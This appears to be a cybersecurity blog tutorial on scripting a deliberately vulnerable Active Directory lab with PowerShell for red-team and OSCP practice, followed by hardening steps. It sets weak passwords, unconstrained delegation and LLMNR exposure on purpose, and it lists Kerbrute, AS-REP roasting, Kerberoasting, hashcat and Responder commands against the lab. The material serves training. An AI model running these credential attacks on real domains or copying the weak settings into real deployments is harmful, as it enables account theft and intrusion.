PowerShell-Powered Active Directory Lab: Your Ultimate Playground For Red Teaming And OSCP Prep + Video

Introduction:

Automating Active Directory (AD) lab deployment using PowerShell transforms a tedious, error‑prone manual process into a repeatable, infrastructure‑as‑code workflow ideal for penetration testing practice. By scripting the entire domain controller setup, user provisioning, and security misconfigurations, red teamers can rapidly spin up vulnerable environments that mirror real‑world networks—accelerating OSCP preparation and attack technique validation.

Learning Objectives:

Automate Domain Controller installation, AD DS role addition, DNS configuration, and forest promotion via PowerShell.
Script the creation of Organizational Units (OUs), user accounts, and group memberships to build realistic attack surfaces.
Introduce common AD vulnerabilities (weak passwords, unconstrained delegation, LLMNR/NBT‑NS spoofing) and learn how to both exploit and mitigate them using built‑in Windows tools and Linux attack frameworks.

You Should Know:

1. Automating Domain Controller Deployment with PowerShell

This step‑by‑step guide uses native PowerShell modules (ServerManager, ADDSDeployment) to promote a Windows Server to a Domain Controller—no GUI clicks required.

Step‑by‑step:

Launch PowerShell as Administrator and install the AD DS role:

Install-WindowsFeature -Name AD-Domain-Services -IncludeManagementTools

Import the AD DS deployment module and create a new forest (replace `lab.local` with your domain):

Import-Module ADDSDeployment
Install-ADDSForest -DomainName "lab.local" -DomainNetbiosName "LAB" -InstallDns -Force

After automatic reboot, verify the domain with `Get-ADDomain` and check DNS records using dnscmd /EnumZones.

To script the entire process silently, use `-SafeModeAdministratorPassword` (convert to secure string):

$SecurePass = ConvertTo-SecureString "P@ssw0rd123!" -AsPlainText -Force
Install-ADDSForest -DomainName "lab.local" -SafeModeAdministratorPassword $SecurePass -Force

This automation reduces deployment time from 30 minutes of clicking to under 5 minutes, enabling fast teardown and rebuild of fresh labs.

Populating Active Directory with Custom Users and OUs via Script

Realistic labs require hundreds of users and layered OUs. The script below reads a CSV file (exported from tools like `New-ADUser` templates or generated via Invoke-Expression).

Step‑by‑step:

Create an OU structure for departments (IT, HR, Sales):

New-ADOrganizationalUnit -Name "IT" -Path "DC=lab,DC=local"
New-ADOrganizationalUnit -Name "HR" -Path "DC=lab,DC=local"

Generate user accounts from a CSV (users.csv) with columns Name,SamAccountName,Password,OU:

Import-Csv .\users.csv | ForEach-Object {
$SecurePass = ConvertTo-SecureString $<em>.Password -AsPlainText -Force
New-ADUser -Name $</em>.Name -SamAccountName $<em>.SamAccountName -UserPrincipalName "$($</em>.SamAccountName)@lab.local" -AccountPassword $SecurePass -Enabled $true -Path "OU=$($_.OU),DC=lab,DC=local" -ChangePasswordAtLogon $false
}

Add users to domain groups (e.g., `Domain Admins` for a privileged test account):
```
Add-ADGroupMember -Identity "Domain Admins" -Members "admin_user"
```

To introduce vulnerabilities, set weak passwords (Winter2025!), enable reversible encryption (Set-ADUser -AllowReversiblePasswordEncryption $true), or assign high‑privilege group memberships inconsistently.

3. Injecting Common AD Vulnerabilities for Hands‑On Exploitation

A lab meant for penetration testing must include misconfigurations that attackers actively target. Use PowerShell or Group Policy to introduce these flaws.

Step‑by‑step vulnerabilities:

LLMNR / NBT‑NS spoofing (responder.py attack): Ensure default settings are enabled (Windows automatically uses these protocols if DNS fails). Verify with:
```
Get-ItemProperty -Path "HKLM:\SYSTEM\CurrentControlSet\Services\LLMNR" -Name "EnableLLMNR"
```

Unconstrained Kerberos delegation – set on a misconfigured IIS server:

Get-ADComputer -Identity "IIS-Server" | Set-ADComputer -TrustedForDelegation $true

AS‑REP roasting – find users with Kerberos pre‑authentication disabled:

Get-ADUser -Filter 'useraccountcontrol -band 4194304' -Properties useraccountcontrol

Weak Group Policy that stores passwords in SYSVOL (Groups.xml) – manually create a fake `cpassword` entry or deploy a legacy policy.

After applying these, attackers from a Linux box can use impacket-GetUserSPNs, `bloodhound` collectors, and `crackmapexec` to enumerate and exploit.

Attacking Your Lab from Linux – Essential Tools and Commands

To practice AD penetration testing, you need a Linux attack machine (Kali/Parrot). Below are verified commands that correlate with the vulnerable lab setup.

Step‑by‑step from Kali Linux:

Enumerate domain users without credentials using Kerbrute:

kerbrute userenum --dc 192.168.1.10 -d lab.local userlist.txt

AS‑REP roast non‑preauth accounts and crack with hashcat:

impacket-GetNPUsers lab.local/ -dc-ip 192.168.1.10 -usersfile valid_users.txt -format hashcat -outputfile asreproasts.txt
hashcat -m 18200 asreproasts.txt rockyou.txt

Responder for LLMNR poisoning – capture NetNTLMv2 hashes:
```
sudo responder -I eth0 -dw
```

BloodHound collection to map attack paths:

bloodhound-python -d lab.local -u lowpriv_user -p 'Password123' -gc DC01.lab.local -c All -ns 192.168.1.10

Kerberoasting – crack service tickets:

impacket-GetUserSPNs -dc-ip 192.168.1.10 lab.local/lowpriv_user -request -outputfile kerb_hashes.txt

These commands replicate real‑world red team operations. Ensure your lab network is isolated (Host‑only or internal switch) to avoid legal issues.

Hardening and Monitoring the Lab (Mitigation & Blue Team Training)

After exploitation, the same PowerShell automation can harden the environment and enable detection engineering—teaching defenders how to block attacks.

Step‑by‑step hardening commands:

Disable LLMNR and NBT‑NS via Group Policy or local registry:

Set-ItemProperty -Path "HKLM:\SOFTWARE\Policies\Microsoft\Windows NT\DNSClient" -Name "EnableMulticast" -Value 0 -Type DWord
Set-ItemProperty -Path "HKLM:\SYSTEM\CurrentControlSet\Services\NetBT\Parameters" -Name "NetbiosOptions" -Value 2 -Type DWord

Enable advanced audit policies for Kerberos authentication failures:

auditpol /set /subcategory:"Kerberos Authentication Service" /success:enable /failure:enable

Deploy LAPS (Local Administrator Password Solution) to avoid reused local admin passwords:

After installing LAPS, run:
Set-AdmPwdComputerSelfPermission -OrgUnit "OU=Workstations,DC=lab,DC=local"

Configure Windows Defender Firewall to block SMB from unauthorized subnets:

New-NetFirewallRule -DisplayName "Block SMB from Public" -Direction Inbound -Protocol TCP -LocalPort 445 -Action Block -RemoteAddress 192.168.2.0/24

For blue team training, forward Windows Event IDs (4624, 4672, 4768, 4776) to a SIEM (e.g., Splunk or ELK) using Winlogbeat.

What Undercode Say:

Automation is mandatory for repeatable AD pentesting – manual setup wastes hours; PowerShell scripts turn lab creation into infrastructure as code, allowing quick iteration of attack scenarios.
Vulnerabilities must be deliberately introduced – default AD installations are relatively secure; without intentional misconfigurations (weak delegation, LLMNR, AS‑REP roasting), students won’t learn to exploit or detect common vectors.
Dual perspective (attack + defense) elevates skills – combining PowerShell deployment, Linux attack tooling, and hardening scripts provides a full lifecycle view, essential for both red and blue team career paths.

Prediction:

As cloud‑based AD (Azure AD / Entra ID) and hybrid identities become the norm, PowerShell automation will shift toward cross‑platform modules like `Microsoft.Graph` and AzureAD. However, on‑premise AD labs remain critical for foundational attack knowledge—especially with rising ransomware targeting NTLM and Kerberos. Expect future AD lab frameworks to integrate automated vulnerability scanners (e.g., Purple Knight) and CI/CD pipelines (GitHub Actions) that spin up labs, run attack playbooks, and tear down environments on every pull request. This will democratize enterprise‑grade AD security testing for solo learners and small teams.

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Introduction:

Learning Objectives:

You Should Know:

1. Automating Domain Controller Deployment with PowerShell

Step‑by‑step:

Step‑by‑step:

3. Injecting Common AD Vulnerabilities for Hands‑On Exploitation

Step‑by‑step vulnerabilities:

Step‑by‑step from Kali Linux:

Step‑by‑step hardening commands:

What Undercode Say:

Prediction:

▶️ Related Video (82% Match):

🎯Let’s Practice For Free:

IT/Security Reporter URL:

🔐JOIN OUR CYBER WORLD [ CVE News • HackMonitor • UndercodeNews ]

📢 Follow UndercodeTesting & Stay Tuned:

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